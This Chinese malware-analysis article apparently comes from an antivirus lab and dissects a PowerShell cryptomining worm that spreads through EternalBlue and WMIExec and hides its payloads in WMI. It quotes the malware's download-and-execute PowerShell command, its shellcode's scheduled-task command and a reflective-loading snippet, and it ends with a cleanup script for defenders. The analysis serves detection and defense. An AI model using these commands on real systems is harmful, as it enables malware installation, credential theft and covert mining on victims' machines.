前言
金山毒霸安全实验室拦截到一个通过PowerShell脚本作为载体进行传播的挖矿病毒,其通过下拉多个脚本完成一次攻击行为,使用“永恒之蓝”漏洞、WMIExec渗透工具进行自动化传播,同时所有载荷均写入WMI进行无文件驻留。
该样本目前仍在活跃中,同时存在其他变种,详细分析见正文。
正文
母体脚本
如下为捕获到的样本,也是一个唯一落地的BAT脚本,功能上算一个较为常见的PowerShell联网下拉执行脚本。通过判断WMI的root\Subscription
命名空间下是否存在名为SCM Event Filter
的Consumer
,如果不存在则联网下拉info6.ps1
脚本。
powershell "if(!(string).contains('SCM EventFilter'))
{
IEX(New-ObjectNet.WebClient).DownloadString('http://XXXXXXXX:8000/info6.ps1')
}"
提供病毒下载的服务器
其中,
- info.vbs 携带挖矿程序的vbs脚本,自身会写入WMI
- info3.ps1 携带x86平台挖矿、攻击脚本
- info6.ps1 携带x64平台挖矿、攻击脚本
攻击演示图
info6.ps1主脚本
混淆严重
info6.ps1是一个混淆程度较高的powershell脚本,整体代码只有两行,但足有3.9M大小,真是”短小精悍”。
通过对该脚本进行2次去混淆并进行整理,最终得到一个较为清晰的内容,下文是其执行过程及其相关模块的分析。
执行过程
1.初始化数据
通过对$fa进行分拆得到各个变量的数据,实际均经过base64编码。
这些数据会存储在ManagementClass
中,而ManagementClass
的管理类是WMI,实际最终存储在WMI 中,也即无文件
在取值的时候,则可以通过如下方式取出
# 取出mimi模块
([WmiClass] 'root\default:Win32_TaskService').Properties['mimi']
2.判断x64
大多数机器是x64的,但也有部分x86用户,需要做兼容,实际功能代码与info6.ps1一样。
3. 解fun
代码
由于fun中有WMIExec和MS17010的攻击包,还有一些是辅助功能函数,所以这里先引入,至于里面具体是什么请向下看。
4.释放运行时dll
这些dll是挖矿程序需要用到的,所以这里早点释放出来吧
5. 删除其他WMI
6. 写自己的WMI
其中FilterName与ConsumerName分别为SCM Event Filter
,SCM Event Consumer
,间隔5600s执行一次”本脚本”功能,通过powershell传入base64编码后的脚本内容。
7. 善后、开工!
由于母体bat脚本是由ms17010 shellcode写入temp路径下的,原始名称为y1.bat,并且通过写计划任务的形式启动,所以这里需要删掉这个计划任务以及清理掉这个bat脚本。之后看看哪些powershell进程访问了80端口,由于样本携带的挖矿程序均访问80端口,所以也以此判断是否启动了自己的挖矿程序,如果没访问那么就需要执行一次,当然为了保证工作环境的干净,需要干掉疑似挖矿的其他powershell进程,通过判断典型挖矿程序的的3333,5555端口访问。
8. 攻击、传播!
为了保证挖矿效率,需要抓一些”矿工”,由于不会给工资,所以没人愿意白干。这里需要请WMIExec和MS17010两位大哥出面协调。
通过枚举网段IP,进行攻击,由于给WMIExec 命令行参数传错,导致这个攻击彻底废了,那只好MS17010出马了,通过调用C#实现的[PingCastle.Scanners.ms17_010scanner]::SCAn
接口,以及SMB_EtERNAlbLue
函数进行攻击。
模块分析
继上文说到本样本使用了WMIExec和MS17010攻击包,那么这些东西是什么,又是怎么引入的?这也是本节要说明的。
WMIExec
代码来自Invoke-TheHash项目,一个基于.Net TCPClient,通过把NTLM hash传递给NTLMv2身份验证协议来进行身份验证的工具,执行时不需要本地管理员权限,传送门
样本作者封装了一个test-ip函数,其参数2,4是通过mimikatz抓取的本地用户hash,参数1,3分别是目标ip和回连web服务器。WMIExec执行的功能是通过写一个VBS Download,下拉执行一个VBS脚本,同时下拉执行info6.ps1 (32位为info3.ps1)。
MS17010
虽然这个漏洞目前看来有点”过气”,但毕竟也是RCE啊!
作者分别引入了扫描和exp模块,扫描模块,通过Add-Type -TypeDefinition
的方式引入源代码,这样会在powershell运行过程中调起C#编译器动态编译,抓取到的命令行如下
"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe"/t:library /utf8output /R:"System.dll" /R:"C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.dll"/out:"C:\Users[user]\AppData\Local\Temp\kr7amwim.dll" /D:DEBUG/debug+ /optimize- /warnaserror "C:\Users[user]\AppData\Local\Temp\kr7amwim.0.cs"
shellcode,执行如下命令
cmd /c echo powershell "if(!(string).contains('SCMEvent Filter')) {IEX(New-ObjectNet.WebClient).DownloadString('http://XXXXXXXX/info6.ps1')}" >%temp%\y1.bat && SCHTASKS /create /RU System /SC WEEKLY /TNyastcat /f /TR "%temp%\y1.bat"&&SCHTASKS /run /TN yastcat
攻击时截图如下,
执行方式
样本作者在PowerShell中携带的挖矿程序,会通过反射加载的方式进行启动,具体可以用如下代码模拟启动
$mon = get-content ".\mon" #dump出的mon
$funs = get-content ".\funs" #dump出的funs
iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($funs)));Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList@($mon, $mon, 'Void', 0, '', '')
(门罗毕)挖矿程序执行后,界面如下
info.vbs脚本
上文说了info6.ps1和其相关的辅助模块,同时提到一次WMIExec攻击成功之后,会下拉一个info.vbs脚本,但是由于传入参数问题,这个是不会被下拉的,这里简单分析下。vbs脚本依然存在混淆,通过提取、整理,如下,先将编码后的另一个挖矿程序写入到WMI中保存起来,使用的时候通过调用WriteBinary函数导出
InstallUpdateableT
完成写一个WMI事件过滤器,间隔2h启动一次,功能当然是取挖矿程序,释放执行,这里不再赘述。
检测&清除
- 通过代码分析,本样本实际传播途径主要为ms17010,所以提醒各位还是要及时安装补丁。
- 检测&清除PowerShell脚本代码如下,请尝试以管理员权限运行(请谨慎使用下列代码,在自身不确定的情况下也可安装金山毒霸进行检测)
Write-host "[*] BadBee! Check&Clear!" $find = $false $mimi = $null $zlib = $null if (([string](Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding )).contains('SCM Event Filter')) { $mimi = ([WmiClass] 'root\default:Win32_TaskService').Properties['mimi'] $zlib = ([WmiClass] 'root\default:Win32_TaskService').Properties['zlib'] if (($mimi -and $mimi.value[0] -eq 'T' -and $mimi.value[1] -eq 'V' -and $mimi.value[2] -eq 'q') -or ($zlib -and $zlib.value[0] -eq 'T' -and $zlib.value[1] -eq 'V' -and $zlib.value[2] -eq 'q')) { Write-host "[*]Find BadBee!" $find = $true } } if ($find -eq $true) { Write-host "[+]C1ear WMI in..." gEt-wmIObjeCt -Namespace root\Subscription -Class __EventFilter -filter "Name= 'SCM Event Filter'" |remOVe-wMiObjecT -Verbose GeT-wmiOBjECT -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='SCM Event Consumer'" | Remove-WMiobjEct -Verbose GET-WMioBject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%SCM Event Consumer%'" | REmOVE-wmIOBjEcT -Verbose GeT-wmiOBjECT -Namespace root\Subscription -Class ActiveScriptEventConsumer -Filter "Name='SCM Event Consumer'" | Remove-WMiobjEct -Verbose ([WmiClass]'root\default:Win32_TaskService') | REmOVE-wmIOBjEcT -Verbose Write-host "[+]C1ear WMI out..." } else { Write-host "[-]C0ngratulation nothing to find ..." } Write-host "[*]all done ..."
3.金山毒霸可进行查杀防御
总结
- 通过对本样本的分析,可以知道样本自身使用了很多开源代码,实际由病毒作者编写的代码量很小,极大降低了制作难度,这也是现有非PE攻击的一个普遍特性。
- 目前来看,非PE攻击已经有白热化趋势,随着js、vbs脚本逐渐被杀软“围堵”,以PowerShell为载体的新一轮攻击已经开始,由于PowerShell的特殊性,现有依靠“白名单策略”构建的防护体系存在“坍塌”的风险,针对PowerShell的防御,将成为一个新的安全研究方向。
- 截止完稿,样本已经挖了13个门罗币了,市值6000多元。
参考
[1] https://github.com/mattifestation/WMI_Backdoor/blob/master/Black_Hat_2015_Presentation/us15-Graeber-AbusingWindowsManagementInstrumentation.pdf
[2] http://drops.xmd5.com/static/drops/tips-8189.html
未经允许不得转载(声明:本文内容由互联网用户自发贡献自行上传,本网站不拥有所有权,未作人工编辑处理,也不承担相关法律责任。如果您发现有涉嫌版权的内容,欢迎发送邮件至:net-net@foxmail.com进行举报,并提供相关证据,工作人员会在10个工作日内联系你,一经查实,本站将立刻删除涉嫌侵权内容。):策信智库资讯网 » 小心PowerShell抓你当“矿工”!